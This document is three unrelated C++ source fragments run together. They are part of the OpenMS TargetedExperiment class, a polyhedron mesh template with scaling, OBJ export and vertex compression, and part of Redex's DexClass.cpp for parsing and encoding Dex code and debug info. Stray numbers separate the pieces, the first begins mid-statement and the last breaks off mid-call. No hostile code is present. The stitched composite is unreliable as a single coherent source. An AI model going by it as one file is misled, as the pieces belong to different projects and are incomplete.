for double entries // transitions, peptides, proteins return *this; } bool TargetedExperiment::operator==(const TargetedExperiment & rhs) const { return cvs_ == rhs.cvs_ && contacts_ == rhs.contacts_ && publications_ == rhs.publications_ && instruments_ == rhs.instruments_ && targets_ == rhs.targets_ && software_ == rhs.software_ && proteins_ == rhs.proteins_ && compounds_ == rhs.compounds_ && peptides_ == rhs.peptides_ && transitions_ == rhs.transitions_ && include_targets_ == rhs.include_targets_ && exclude_targets_ == rhs.exclude_targets_ && source_files_ == rhs.source_files_; } bool TargetedExperiment::operator!=(const TargetedExperiment & rhs) const { return !(operator==(rhs)); } void TargetedExperiment::clear(bool clear_meta_data) { transitions_.clear(); if (clear_meta_data) { cvs_.clear(); contacts_.clear(); publications_.clear(); instruments_.clear(); targets_ = CVTermList(); software_.clear(); proteins_.clear(); compounds_.clear(); peptides_.clear(); include_targets_.clear(); exclude_targets_.clear(); source_files_.clear(); protein_reference_map_.clear(); peptide_reference_map_.clear(); protein_reference_map_dirty_ = true; peptide_reference_map_dirty_ = true; } } void TargetedExperiment::setCVs(const std::vector<CV> & cvs) { cvs_ = cvs; } const std::vector<TargetedExperiment::CV> & TargetedExperiment::getCVs() const { return cvs_; } void TargetedExperiment::addCV(const CV & cv) { cvs_.push_back(cv); } void TargetedExperiment::setContacts(const std::vector<Contact> & contacts) { contacts_ = contacts; } const std::vector<TargetedExperiment::Contact> & TargetedExperiment::getContacts() const { return contacts_; } void TargetedExperiment::addContact(const Contact & contact) { contacts_.push_back(contact); } void TargetedExperiment::setPublications(const std::vector<Publication> & publications) { publications_ = publications; } const std::vector<TargetedExperiment::Publication> & TargetedExperiment::getPublications() const { return publications_; } void TargetedExperiment::addPublication(const Publication & publication) { publications_.push_back(publication); } void TargetedExperiment::setTargetCVTerms(const CVTermList & cv_terms) { targets_ = cv_terms; } const CVTermList & TargetedExperiment::getTargetCVTerms() const { return targets_; } void TargetedExperiment::addTargetCVTerm(const CVTerm & cv_term) { targets_.addCVTerm(cv_term); } void TargetedExperiment::setTargetMetaValue(const String & name, const DataValue & value) { targets_.setMetaValue(name, value); } void TargetedExperiment::setInstruments(const std::vector<Instrument> & instruments) { instruments_ = instruments; } const std::vector<TargetedExperiment::Instrument> & TargetedExperiment::getInstruments() const { return instruments_; } void TargetedExperiment::addInstrument(const Instrument & instrument) { instruments_.push_back(instrument); } void TargetedExperiment::setSoftware(const std::vector<Software> & software) { software_ = software; } const std::vector<Software> & TargetedExperiment::getSoftware() const { return software_; } void TargetedExperiment::addSoftware(const Software & software) { software_.push_back(software); } void TargetedExperiment::setProteins(const std::vector<Protein> & proteins) { protein_reference_map_dirty_ = true; proteins_ = proteins; } const std::vector<TargetedExperiment::Protein> & TargetedExperiment::getProteins() const { return proteins_; } const TargetedExperiment::Protein & TargetedExperiment::getProteinByRef(const String & ref) { if (protein_reference_map_dirty_) { createProteinReferenceMap_(); } return *(protein_reference_map_[ref]); } void TargetedExperiment::addProtein(const Protein & protein) { protein_reference_map_dirty_ = true; proteins_.push_back(protein); } void TargetedExperiment::setCompounds(const std::vector<Compound> & compounds) { compounds_ = compounds; } const std::vector<TargetedExperiment::Compound> & TargetedExperiment::getCompounds() const { return compounds_; } void TargetedExperiment::addCompound(const Compound & rhs) { compounds_.push_back(rhs); } void TargetedExperiment::setPeptides(const std::vector<Peptide> & peptides) { peptide_reference_map_dirty_ = true; peptides_ = peptides; } const std::vector<TargetedExperiment::Peptide> & TargetedExperiment::getPeptides() const { return peptides_; } const TargetedExperiment::Peptide & TargetedExperiment::getPeptideByRef(const String & ref) { if (peptide_reference_map_dirty_) { createPeptideReferenceMap_(); } return *(peptide_reference_map_[ref]); } void TargetedExperiment::addPeptide(const Peptide & rhs) { peptide_reference_map_dirty_ = true; peptides_.push_back(rhs); } void TargetedExperiment::setTransitions(const std::vector<ReactionMonitoringTransition> & transitions) { transitions_ = transitions; } const std::vector<ReactionMonitoringTransition> & TargetedExperiment::getTransitions() const { return transitions_; } void TargetedExperiment::addTransition(const ReactionMonitoringTransition & transition) { transitions_.push_back(transition); } void TargetedExperiment::setIncludeTargets(const std::vector<IncludeExcludeTarget> & targets) { include_targets_ = targets; } const std::vector<IncludeExcludeTarget> & TargetedExperiment::getIncludeTargets() const { return include_targets_; } void TargetedExperiment::addIncludeTarget(const IncludeExcludeTarget & target) { include_targets_.push_back(target); } void TargetedExperiment::setExcludeTargets(const std::vector<IncludeExcludeTarget> & targets) { exclude_targets_ = targets; } const std::vector<IncludeExcludeTarget> & TargetedExperiment::getExcludeTargets() const { return exclude_targets_; } void TargetedExperiment::addExcludeTarget(const IncludeExcludeTarget & target) { exclude_targets_.push_back(target); } void TargetedExperiment::setSourceFiles(const std::vector<SourceFile> & source_files) { source_files_ = source_files; } const std::vector<SourceFile> & TargetedExperiment::getSourceFiles() const { return source_files_; } void TargetedExperiment::addSourceFile(const SourceFile & source_file) { source_files_.push_back(source_file); } void TargetedExperiment::sortTransitionsByProductMZ() { std::sort(transitions_.begin(), transitions_.end(), ReactionMonitoringTransition::ProductMZLess()); } void TargetedExperiment::createProteinReferenceMap_() { for (Size i = 0; i < getProteins().size(); i++) { protein_reference_map_[getProteins()[i].id] = &getProteins()[i]; } protein_reference_map_dirty_ = false; } void TargetedExperiment::createPeptideReferenceMap_() { for (Size i = 0; i < getPeptides().size(); i++) { peptide_reference_map_[getPeptides()[i].id] = &getPeptides()[i]; } peptide_reference_map_dirty_ = false; } } // namespace OpenMS
12,997
4,225
#include "../timer.h" namespace mesh { template<typename base_t> void polyhedron<base_t>::scale(const base_t dim) { benchmark::timer tmp("scale()"); const bbox bbox = bounding_box(); const glm::vec<3, base_t> cur_size = bbox._max - bbox._min; for(size_t i = 0; i < _vertices.size(); i++) { _vertices[i] *= dim; } } template<typename base_t> void polyhedron<base_t>::scale(const glm::vec<3, base_t> &dim) { benchmark::timer tmp("scale()"); for(size_t i = 0; i < _vertices.size(); i++) { _vertices[i] *= dim; } } template<typename base_t> void polyhedron<base_t>::normalize() { constexpr bool is_flt = std::is_floating_point<base_t>::value; static_assert(is_flt, "normalize(): type must be floating point"); benchmark::timer tmp("normalize()"); const bbox<base_t> bbox = bounding_box(); const glm::vec<3, base_t> cur_size = bbox._max - bbox._min; const base_t comp_max = glm::compMax(cur_size); // constexpr functor to calc the new position of the vertex auto calc_pos = [=](const glm::vec<3,base_t> &p) constexpr { return (p - bbox._min) / comp_max; }; for(size_t i = 0; i < _vertices.size(); i++) { _vertices[i] = calc_pos(_vertices[i]); } } template<typename base_t> polyhedron<base_t> polyhedron<base_t>::scaled(const polyhedron<base_t> &in, const base_t dim) { polyhedron<base_t> res = in; res.scale(dim); return res; } template<typename base_t> polyhedron<base_t> polyhedron<base_t>::scaled(const polyhedron<base_t> &in, const glm::vec<3, base_t> &dim) { polyhedron<base_t> res = in; res.scale(dim); return res; } template<typename base_t> polyhedron<base_t> polyhedron<base_t>::normalized(const polyhedron<base_t> &in){ polyhedron<base_t> res = in; res.normalize(); return res; } template<typename base_t> void polyhedron<base_t>::to_obj(const std::string &file) const { std::ofstream obj_file(file); for(auto v : this->_vertices) { obj_file << "v " << v.x << " " << v.y << " " << v.z << std::endl; } for(auto &f : _indices._buffer) { obj_file << "f " << f[0]+1 << " " << f[1]+1 << " " << f[2]+1 << std::endl; } obj_file.close(); } template<typename base_t> bbox<base_t> polyhedron<base_t>::bounding_box() const { bbox<base_t> bbox; for(const auto &v : this->_vertices) { bbox.extend(v); } return bbox; } template<typename base_t> glm::vec<3, base_t> polyhedron<base_t>::dim() const { auto bbox = bounding_box(); return bbox._max - bbox._min; } template<typename base_t> bool polyhedron<base_t>::issues() const { for(const auto &p : _edges) { const size_t _face_count = p.second; if(_face_count != 2) return false; } return true; } template<typename base_t> double polyhedron<base_t>::avg_face_area() const { auto area = [](const auto &v1, const auto &v2, const auto &v3) { double le1 = glm::length(v2-v1); double le2 = glm::length(v3-v1); double le3 = glm::length(v3-v2); double p = 0.5 * (le1 + le2 + le3); return std::sqrt(p * (p - le1) * (p - le2) * (p - le3)); }; double res = 0; const size_t num_triangles = this->_indices._buffer.size(); for(const auto &id : this->_indices._buffer) { const glm::vec3 &v1 = glm::make_vec3(this->_vertices[id._ids[0]]); const glm::vec3 &v2 = glm::make_vec3(this->_vertices[id._ids[1]]); const glm::vec3 &v3 = glm::make_vec3(this->_vertices[id._ids[2]]); double a = area(v1, v2, v3); // NaN check if(a == a) res += a / num_triangles; } //std::cout << "avg_face_area(): " << res << std::endl; return res; } template<typename base_t> void polyhedron<base_t>::compress() { std::map<glm::vec3, uint32_t> unique_vertices; for(const auto &v : this->_vertices) { unique_vertices[v] = 0; } uint32_t id = 0; for(const auto &p : unique_vertices) { unique_vertices[p.first] = id++; } index_buffer<index_t> new_id_buf; for(auto &f : this->_indices._buffer) { const uint32_t id1 = unique_vertices[this->_vertices[f[0]]]; const uint32_t id2 = unique_vertices[this->_vertices[f[1]]]; const uint32_t id3 = unique_vertices[this->_vertices[f[2]]]; new_id_buf.add(mesh::face(id1, id2, id3)); } float before = (float)this->_vertices.size(); float after = (float)unique_vertices.size(); std::cout << "Compress result: before=" << before << " after=" << after << "; " << (1.f - (after / before)) * 100.f << "%" << std::endl; this->_indices.clear(); this->_indices = new_id_buf; this->_vertices.clear(); for(const auto &p : unique_vertices) { this->_vertices.push_back(p.first); } } };
5,437
1,922
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #include "DexClass.h" #include "Debug.h" #include "DexAccess.h" #include "DexDebugInstruction.h" #include "DexDefs.h" #include "DexMemberRefs.h" #include "DexOutput.h" #include "DexUtil.h" #include "DuplicateClasses.h" #include "IRCode.h" #include "IRInstruction.h" #include "StringBuilder.h" #include "Util.h" #include "Walkers.h" #include "Warning.h" #include <algorithm> #include <boost/functional/hash.hpp> #include <boost/optional.hpp> #include <memory> #include <mutex> #include <unordered_map> uint32_t DexString::length() const { if (is_simple()) { return size(); } return length_of_utf8_string(c_str()); } int32_t DexString::java_hashcode() const { return java_hashcode_of_utf8_string(c_str()); } int DexTypeList::encode(DexOutputIdx* dodx, uint32_t* output) const { uint16_t* typep = (uint16_t*)(output + 1); *output = (uint32_t)m_list.size(); for (auto const& type : m_list) { *typep++ = dodx->typeidx(type); } return (int)(((uint8_t*)typep) - (uint8_t*)output); } DexField* DexFieldRef::make_concrete(DexAccessFlags access_flags, DexEncodedValue* v) { // FIXME assert if already concrete auto that = static_cast<DexField*>(this); that->m_access = access_flags; that->m_concrete = true; if (is_static(access_flags)) { that->set_value(v); } else { always_assert(v == nullptr); } return that; } DexFieldRef* DexField::get_field(const std::string& full_descriptor) { auto fdt = dex_member_refs::parse_field(full_descriptor); auto cls = DexType::get_type(fdt.cls.c_str()); auto name = DexString::get_string(fdt.name); auto type = DexType::get_type(fdt.type.c_str()); return DexField::get_field(cls, name, type); } DexFieldRef* DexField::make_field(const std::string& full_descriptor) { auto fdt = dex_member_refs::parse_field(full_descriptor); auto cls = DexType::make_type(fdt.cls.c_str()); auto name = DexString::make_string(fdt.name); auto type = DexType::make_type(fdt.type.c_str()); return DexField::make_field(cls, name, type); } DexDebugEntry::DexDebugEntry(DexDebugEntry&& that) : type(that.type), addr(that.addr) { switch (type) { case DexDebugEntryType::Position: new (&pos) std::unique_ptr<DexPosition>(std::move(that.pos)); break; case DexDebugEntryType::Instruction: new (&insn) std::unique_ptr<DexDebugInstruction>(std::move(that.insn)); break; } } DexDebugEntry::~DexDebugEntry() { switch (type) { case DexDebugEntryType::Position: pos.~unique_ptr<DexPosition>(); break; case DexDebugEntryType::Instruction: insn.~unique_ptr<DexDebugInstruction>(); break; } } /* * Evaluate the debug opcodes to figure out their absolute addresses and line * numbers. */ static std::vector<DexDebugEntry> eval_debug_instructions( DexDebugItem* dbg, std::vector<std::unique_ptr<DexDebugInstruction>>& insns, uint32_t absolute_line) { std::vector<DexDebugEntry> entries; uint32_t pc = 0; for (auto& opcode : insns) { auto op = opcode->opcode(); switch (op) { case DBG_ADVANCE_LINE: { absolute_line += opcode->value(); continue; } case DBG_END_LOCAL: case DBG_RESTART_LOCAL: case DBG_START_LOCAL: case DBG_START_LOCAL_EXTENDED: case DBG_SET_FILE: case DBG_END_SEQUENCE: case DBG_SET_PROLOGUE_END: case DBG_SET_EPILOGUE_BEGIN: { entries.emplace_back(pc, std::move(opcode)); break; } case DBG_ADVANCE_PC: { pc += opcode->uvalue(); continue; } default: { uint8_t adjustment = op - DBG_FIRST_SPECIAL; absolute_line += DBG_LINE_BASE + (adjustment % DBG_LINE_RANGE); pc += adjustment / DBG_LINE_RANGE; entries.emplace_back(pc, std::make_unique<DexPosition>(absolute_line)); break; } } } return entries; } DexDebugItem::DexDebugItem(DexIdx* idx, uint32_t offset) : m_source_checksum(idx->get_checksum()), m_source_offset(offset) { const uint8_t* encdata = idx->get_uleb_data(offset); const uint8_t* base_encdata = encdata; uint32_t line_start = read_uleb128(&encdata); uint32_t paramcount = read_uleb128(&encdata); while (paramcount--) { // We intentionally drop the parameter string name here because we don't // have a convenient representation of it, and our internal tooling doesn't // use this info anyway. // We emit matching number of nulls as method arguments at the end. decode_noindexable_string(idx, encdata); } std::vector<std::unique_ptr<DexDebugInstruction>> insns; DexDebugInstruction* dbgp; while ((dbgp = DexDebugInstruction::make_instruction(idx, &encdata)) != nullptr) { insns.emplace_back(dbgp); } m_dbg_entries = eval_debug_instructions(this, insns, line_start); m_on_disk_size = encdata - base_encdata; } uint32_t DexDebugItem::get_line_start() const { for (auto& entry : m_dbg_entries) { switch (entry.type) { case DexDebugEntryType::Position: { return entry.pos->line; default: break; } } } return 0; } DexDebugItem::DexDebugItem(const DexDebugItem& that) { std::unordered_map<DexPosition*, DexPosition*> pos_map; for (auto& entry : that.m_dbg_entries) { switch (entry.type) { case DexDebugEntryType::Position: { auto pos = std::make_unique<DexPosition>(*entry.pos); pos_map[entry.pos.get()] = pos.get(); pos->parent = pos_map[pos->parent]; m_dbg_entries.emplace_back(entry.addr, std::move(pos)); break; } case DexDebugEntryType::Instruction: m_dbg_entries.emplace_back(entry.addr, entry.insn->clone()); break; } } } std::unique_ptr<DexDebugItem> DexDebugItem::get_dex_debug(DexIdx* idx, uint32_t offset) { if (offset == 0) return nullptr; return std::unique_ptr<DexDebugItem>(new DexDebugItem(idx, offset)); } /* * Convert DexDebugEntries into debug opcodes. */ std::vector<std::unique_ptr<DexDebugInstruction>> generate_debug_instructions( DexDebugItem* debugitem, PositionMapper* pos_mapper, uint32_t* line_start, std::vector<DebugLineItem>* line_info) { std::vector<std::unique_ptr<DexDebugInstruction>> dbgops; uint32_t prev_addr = 0; boost::optional<uint32_t> prev_line; auto& entries = debugitem->get_entries(); for (auto it = entries.begin(); it != entries.end(); ++it) { // find all entries that belong to the same address, and group them by type auto addr = it->addr; std::vector<DexPosition*> positions; std::vector<DexDebugInstruction*> insns; for (; it != entries.end() && it->addr == addr; ++it) { switch (it->type) { case DexDebugEntryType::Position: if (it->pos->file != nullptr) { positions.push_back(it->pos.get()); } break; case DexDebugEntryType::Instruction: insns.push_back(it->insn.get()); break; } } --it; auto addr_delta = addr - prev_addr; prev_addr = addr; for (auto pos : positions) { pos_mapper->register_position(pos); } // only emit the last position entry for a given address if (!positions.empty()) { auto line = pos_mapper->position_to_line(positions.back()); line_info->emplace_back(DebugLineItem(it->addr, line)); int32_t line_delta; if (prev_line) { line_delta = line - *prev_line; } else { *line_start = line; line_delta = 0; } prev_line = line; if (line_delta < DBG_LINE_BASE || line_delta >= (DBG_LINE_RANGE + DBG_LINE_BASE)) { dbgops.emplace_back( new DexDebugInstruction(DBG_ADVANCE_LINE, line_delta)); line_delta = 0; } auto special = (line_delta - DBG_LINE_BASE) + (addr_delta * DBG_LINE_RANGE) + DBG_FIRST_SPECIAL; if (special & ~0xff) { dbgops.emplace_back( new DexDebugInstruction(DBG_ADVANCE_PC, uint32_t(addr_delta))); special = line_delta - DBG_LINE_BASE + DBG_FIRST_SPECIAL; } dbgops.emplace_back( new DexDebugInstruction(static_cast<DexDebugItemOpcode>(special))); line_delta = 0; addr_delta = 0; } for (auto insn : insns) { if (addr_delta != 0) { dbgops.emplace_back( new DexDebugInstruction(DBG_ADVANCE_PC, addr_delta)); addr_delta = 0; } dbgops.emplace_back(insn->clone()); } } return dbgops; } int DexDebugItem::encode( DexOutputIdx* dodx, uint8_t* output, uint32_t line_start, uint32_t num_params, const std::vector<std::unique_ptr<DexDebugInstruction>>& dbgops) { uint8_t* encdata = output; encdata = write_uleb128(encdata, line_start); encdata = write_uleb128(encdata, num_params); for (uint32_t i = 0; i < num_params; ++i) { encdata = write_uleb128p1(encdata, DEX_NO_INDEX); continue; } for (auto& dbgop : dbgops) { dbgop->encode(dodx, encdata); } encdata = write_uleb128(encdata, DBG_END_SEQUENCE); return (int)(encdata - output); } void DexDebugItem::bind_positions(DexMethod* method, DexString* file) { auto* method_str = DexString::make_string(show(method)); for (auto& entry : m_dbg_entries) { switch (entry.type) { case DexDebugEntryType::Position: entry.pos->bind(method_str, file); break; case DexDebugEntryType::Instruction: break; } } } void DexDebugItem::gather_types(std::vector<DexType*>& ltype) const { for (auto& entry : m_dbg_entries) { entry.gather_types(ltype); } } void DexDebugItem::gather_strings(std::vector<DexString*>& lstring) const { for (auto& entry : m_dbg_entries) { entry.gather_strings(lstring); } } DexCode::DexCode(const DexCode& that) : m_registers_size(that.m_registers_size), m_ins_size(that.m_ins_size), m_outs_size(that.m_outs_size), m_insns(std::make_unique<std::vector<DexInstruction*>>()) { for (auto& insn : *that.m_insns) { m_insns->emplace_back(insn->clone()); } for (auto& try_ : that.m_tries) { m_tries.emplace_back(new DexTryItem(*try_)); } if (that.m_dbg) { m_dbg.reset(new DexDebugItem(*that.m_dbg)); } } std::unique_ptr<DexCode> DexCode::get_dex_code(DexIdx* idx, uint32_t offset) { if (offset == 0) return std::unique_ptr<DexCode>(); const dex_code_item* code = (const dex_code_item*)idx->get_uint_data(offset); std::unique_ptr<DexCode> dc(new DexCode()); dc->m_registers_size = code->registers_size; dc->m_ins_size = code->ins_size; dc->m_outs_size = code->outs_size; dc->m_insns.reset(new std::vector<DexInstruction*>()); const uint16_t* cdata = (const uint16_t*)(code + 1); uint32_t tries = code->tries_size; if (code->insns_size) { const uint16_t* end = cdata + code->insns_size; while (cdata < end) { DexInstruction* dop = DexInstruction::make_instruction(idx, &cdata); always_assert_log(dop != nullptr, "Failed to parse method at offset 0x%08x", offset); dc->m_insns->push_back(dop); } /* * Padding, see dex-spec. * Per my memory, there are dex-files where the padding is * implemented not according to spec. Just FYI in case * something weird happens in the future. */ if (code->insns_size & 1 && tries) cdata++; } if (tries) { const dex_tries_item* dti = (const dex_tries_item*)cdata; const uint8_t* handlers = (const uint8_t*)(dti + tries); for (uint32_t i = 0; i < tries; i++) { DexTryItem* dextry = new DexTryItem(dti[i].start_addr, dti[i].insn_count); const uint8_t* handler = handlers + dti[i].handler_off; int32_t count = read_sleb128(&handler); bool has_catchall = false; if (count <= 0) { count = -count; has_catchall = true; } while (count--) { uint32_t tidx = read_uleb128(&handler); uint32_t hoff = read_uleb128(&handler); DexType* dt = idx->get_typeidx(tidx); dextry->m_catches.push_back(std::make_pair(dt, hoff)); } if (has_catchall) { auto hoff = read_uleb128(&handler); dextry->m_catches.push_back(std::make_pair(nullptr, hoff)); } dc->m_tries.emplace_back(dextry); } } dc->m_dbg = DexDebugItem::get_dex_debug(idx, code->debug_info_off); return dc; } int DexCode::encode(DexOutputIdx* dodx, uint32_t* output) { dex_code_item* code = (dex_code_item*)output; code->registers_size = m_registers_size; code->ins_size = m_ins_size; code->outs_size = m_outs_size; code->tries_size = 0; /* Debug info is added later */ code->debug_info_off = 0; uint16_t* insns = (uint16_t*)(code + 1); for (auto const& opc : get_instructions()) { opc->encode(dodx, insns); } code->insns_size = (uint32_t)(insns - ((uint16_t*)(code + 1))); if (m_tries.size() == 0) return ((code->insns_size * sizeof(uint16_t)) + sizeof(dex_code_item)); /* * Now the tries..., obscenely messy encoding :( * Pad tries to uint32_t */ if (code->insns_size & 1) insns++; int tries = code->tries_size = m_tries.size(); dex_tries_item* dti = (dex_tries_item*)insns; uint8_t* handler_base = (uint8_t*)(dti + tries); uint8_t* hemit = handler_base; std::unordered_set<DexCatches, boost::hash<DexCatches>> catches_set; for (auto& dextry : m_tries) { catches_set.insert(dextry->m_catches); } hemit = write_uleb128(hemit, catches_set.size()); int tryno = 0; std::unordered_map<DexCatches, uint32_t, boost::hash<DexCatches>> catches_map; for (auto it = m_tries.begin(); it != m_tries.end(); ++it, ++tryno) { auto& dextry = *it; always_assert(dextry->m_start_addr < code->insns_size); dti[tryno].start_addr = dextry->m_start_addr; always_assert(dextry->m_start_addr + dextry->m_insn_count <= code->insns_size); dti[tryno].insn_count = dextry->m_insn_count; if (catches_map.find(dextry->m_catches) == catches_map.end()) { catches_map[dextry->m_catches] = hemit - handler_base; size_t catchcount = dextry->m_catches.size(); bool has_catchall = dextry->m_catches.back().first == nullptr; if (has_catchall) { // -1 because the catch-all address is last (without an address) catchcount = -(catchcount - 1); } hemit = write_sleb128(hemit, (int32_t)catchcount); for (auto const& cit : dextry->m_catches) { auto type = cit.first; auto catch_addr = cit.second; if (type != nullptr) { // Assumption: The only catch-all is at the end of the list hemit = write_uleb128(hemit, dodx->typeidx(type)); } always_assert(catch_addr < code->insns_size); hemit = write_uleb128(hemit, catch_addr); } } dti[tryno].handler_off = catches_map.at(dextry->m_catches); } return (int)(hemit - ((uint8_t*)output)); } DexMethod::DexMethod(DexType* type, DexString* name, DexProto* proto) : DexMethodRef(type, name, proto) { m_virtual = false; m_anno = nullptr; m_dex_code = nullptr; m_code = nullptr; m_access = static_cast<DexAccessFlags>(0); } DexMethod::~DexMethod() = default; std::string DexMethod::get_simple_deobfuscated_name() const { auto full_name = get_deobfuscated_name(); if (full_name.empty()) { // This comes up for redex-created methods. return std::string(c_str()); } auto dot_pos = full_name.find("."); auto colon_pos = full_name.find(":"); if (dot_pos == std::string::npos || colon_pos == std::string::npos) { return full_name; } return full_name.substr(dot_pos + 1, colon_pos - dot_pos - 1); } // Why? get_deobfuscated_name and show_deobfuscated are not enough. deobfuscated // names could be empty, e.g., when Redex-created methods. So we need a better // job. And proto and type are still obfuscated in some cases. We also implement // show_deobfuscated for DexProto. namespace { std::string build_fully_deobfuscated_name(const DexMethod* m) { string_builders::StaticStringBuilder<5> b; DexClass* cls = type_class(m->get_class()); if (cls == nullptr) { // Well, just for safety. b << "<null>"; } else { b << std::string(cls->get_deobfuscated_name().empty() ? cls->get_name()->str() : cls->get_deobfuscated_name()); } b << "." << m->get_simple_deobfuscated_name() << ":" << show_deobfuscated(m->get_proto()); return b.str(); } } // namespace std::string DexMethod::get_fully_deobfuscated_name() const { if (get_deobfuscated_name() == show(this)) { return get_deobfuscated_name(); } return build_fully_deobfuscated_name(this); } void DexMethod::set_code(std::unique_ptr<IRCode> code) { m_code = std::move(code); } void DexMethod::balloon() { redex_assert(m_code == nullptr); m_code = std::make_unique<IRCode>(this); m_dex_code.reset(); } void DexMethod::sync() { redex_assert(m_dex_code == nullptr); m_dex_code = m_code->sync(this); m_code.reset(); } size_t hash_value(const DexMethodSpec& r) { size_t seed = boost::hash<DexType*>()(r.cls); boost::hash_combine(seed, r.name); boost::hash_combine(seed, r.proto); return seed; } DexMethod* DexMethod::make_method_from(DexMethod* that, DexType* target_cls, DexString* name) { auto m = static_cast<DexMethod*>( DexMethod::make_method(target_cls, name, that->get_proto())); redex_assert(m != that); if (that->m_anno) { m->m_anno = new DexAnnotationSet(*that->m_anno); } m->set_code(std::make_unique<IRCode>(*that->get_code())); m->m_access = that->m_access; m->m_concrete = that->m_concrete; m->m_virtual = that->m_virtual; m->m_external = that->m_external; for (auto& pair : that->m_param_anno) { // note: DexAnnotation's copy ctor only does a shallow copy m->m_param_anno.emplace(pair.first, new DexAnnotationSet(*pair.second)); } return m; } DexMethodRef* DexMethod::get_method(const std::string& full_descriptor) { auto mdt = dex_member_refs::parse_method(full_descriptor); auto cls = DexType::get_type(mdt.cls.c_str()); auto name = DexString::get_string(mdt.name); std::deque<DexType*> args; for (auto& arg_str : mdt.args) { args.push_back(DexType::get_type(arg_str.c_str())); } auto dtl = DexTypeList::get_type_list(std::move(args)); auto rtype = DexType::get_type(mdt.rtype.c_str()); return DexMethod::get_method(cls, name, DexProto::get_proto(rtype, dtl)); } DexMethodRef* DexMethod::make_method(const std::string& full_descriptor) { auto mdt = dex_member_refs::parse_method(full_descriptor); auto cls = DexType::make_type(mdt.cls.c_str()); auto name = DexString::make_string(mdt.name); std::deque<DexType*> args; for (auto& arg_str : mdt.args) { args.push_back(DexType::make_type(arg_str.c_str())); } auto dtl = DexTypeList::make_type_list(std::move(args)); auto rtype = DexType::make_type(mdt.rtype.c_str()); return DexMethod::make_method(cls, name, DexProto::make_proto(rtype, dtl)); } DexMethodRef* DexMethod::make_method( const std::string& class_type, const std::string& name, std::initializer_list<std::string> arg_types, const std::string& return_type) { std::deque<DexType*> dex_types; for (const std::string& type_str : arg_types) { dex_types.push_back(DexType::make_type(type_str.c_str())); } return DexMethod::make_method( DexType::make_type(class_type.c_str()), DexString::make_string(name), DexProto::make_proto(DexType::make_type(return_type.c_str()), DexTypeList::make_type_list(std::move(dex_types)))); } void DexClass::set_deobfuscated_name(const std::string& name) { // If the class has an old deobfuscated_name which is not equal to // `show(self)`, erase the name mapping from the global type map. if (!m_deobfuscated_name.empty()) { auto old_name = DexString::make_string(m_deobfuscated_name); if (old_name != m_self->get_name()) { g_redex->remove_type_name(old_name); } } m_deobfuscated_name = name; auto new_name = DexString::make_string(m_deobfuscated_name); if (new_name == m_self->get_name()) { return; } auto existing_type = g_redex->get_type(new_name); if (existing_type != nullptr) { fprintf(stderr, "Unable to alias type '%s' to deobfuscated name '%s' because type " "'%s' already exists.\n", m_self->c_str(), new_name->c_str(), existing_type->c_str()); return; } g_redex->alias_type_name(m_self, new_name); } void DexClass::remove_method(const DexMethod* m) { auto& meths = m->is_virtual() ? m_vmethods : m_dmethods; auto it = std::find(meths.begin(), meths.end(), m); DEBUG_ONLY bool erased = false; if (it != meths.end()) { erased = true; meths.erase(it); } redex_assert(erased); } void DexMethod::become_virtual() { redex_assert(!m_virtual); auto cls = type_class(m_spec.cls); redex_assert(!cls->is_external()); cls->remove_method(this); m_virtual = true; auto& vmethods = cls->get_vmethods(); insert_sorted(vmethods, this, compare_dexmethods); } DexMethod* DexMethodRef::make_concrete(DexAccessFlags access, std::unique_ptr<DexCode> dc, bool is_virtual) { auto that = static_cast<DexMethod*>(this); that->m_access = access; that->m_dex_code = std::move(dc); that->m_concrete = true; that->m_virtual = is_virtual; return that; } DexMethod* DexMethodRef::make_concrete(DexAccessFlags access, std::unique_ptr<IRCode> dc, bool is_virtual) { auto that = static_cast<DexMethod*>(this); that->m_access = access; that->m_code = std::move(dc); that->m_concrete = true; that->m_virtual = is_virtual; return that; } DexMethod* DexMethodRef::make_concrete(DexAccessFlags access, bool is_virtual) { return make_concrete(access, std::unique_ptr<IRCode>(nullptr), is_virtual); } void DexMethod::make_non_concrete() { m_access = static_cast<DexAccessFlags>(0); m_concrete = false; m_code.reset(); m_virtual = false; m_param_anno.clear(); } /* * See class_data_item in Dex spec. */ void DexClass::load_class_data_item(DexIdx* idx, uint32_t cdi_off, DexEncodedValueArray* svalues) { if (cdi_off == 0) return; const uint8_t* encd = idx->get_uleb_data(cdi_off); uint32_t sfield_count = read_uleb128(&encd); uint32_t ifield_count = read_uleb128(&encd); uint32_t dmethod_count = read_uleb128(&encd); uint32_t vmethod_count = read_uleb128(&encd); uint32_t ndex = 0; for (uint32_t i = 0; i < sfield_count; i++) { ndex += read_uleb128(&encd); auto access_flags = (DexAccessFlags)read_uleb128(&encd); DexField* df = static_cast<DexField*>(idx->get_fieldidx(ndex)); DexEncodedValue* ev = nullptr; if (svalues != nullptr) { ev = svalues->pop_next(); } df->make_concrete(access_flags, ev); m_sfields.push_back(df); } ndex = 0; for (uint32_t i = 0; i < ifield_count; i++) { ndex += read_uleb128(&encd); auto access_flags = (DexAccessFlags)read_uleb128(&encd); DexField* df = static_cast<DexField*>(idx->get_fieldidx(ndex)); df->make_concrete(access_flags); m_ifields.push_back(df); } std::unordered_set<DexMethod*> method_pointer_cache; ndex = 0; for (uint32_t i = 0; i < dmethod_count; i++) { ndex += read_uleb128(&encd); auto access_flags = (DexAccessFlags)read_uleb128(&encd); uint32_t code_off = read_uleb128(&encd); // Find method in method index, returns same pointer for same method. DexMethod* dm = static_cast<DexMethod*>(idx->get_methodidx(ndex)); std::unique_ptr<DexCode> dc = DexCode::get_dex_code(idx, code_off); if (dc && dc->get_debug_item()) { dc->get_debug_item()->bind_positions(dm, m_source_file); } dm->make_concrete(access_flags, std::move(dc), false); assert_or_throw( method_pointer_cache.count(dm) == 0, RedexError::DUPLICATE_METHODS, "Found duplicate methods in the same class.", {{"method", SHOW(dm)}}); method_pointer_cache.insert(dm); m_dmethods.push_back(dm); } ndex = 0; for (uint32_t i = 0; i < vmethod_count; i++) { ndex += read_uleb128(&encd); auto access_flags = (DexAccessFlags)read_uleb128(&encd); uint32_t code_off = read_uleb128(&encd); // Find method in method index, returns same pointer for same method. DexMethod* dm = static_cast<DexMethod*>(idx->get_methodidx(ndex)); auto dc = DexCode::get_dex_code(idx, code_off); if (dc && dc->get_debug_item()) { dc->get_debug_item()->bind_positions(dm, m_source_file); } dm->make_concrete(access_flags, std::move(dc), true); assert_or_throw( method_pointer_cache.count(dm) == 0, RedexError::DUPLICATE_METHODS, "Found duplicate methods in the same class.", {{"method", 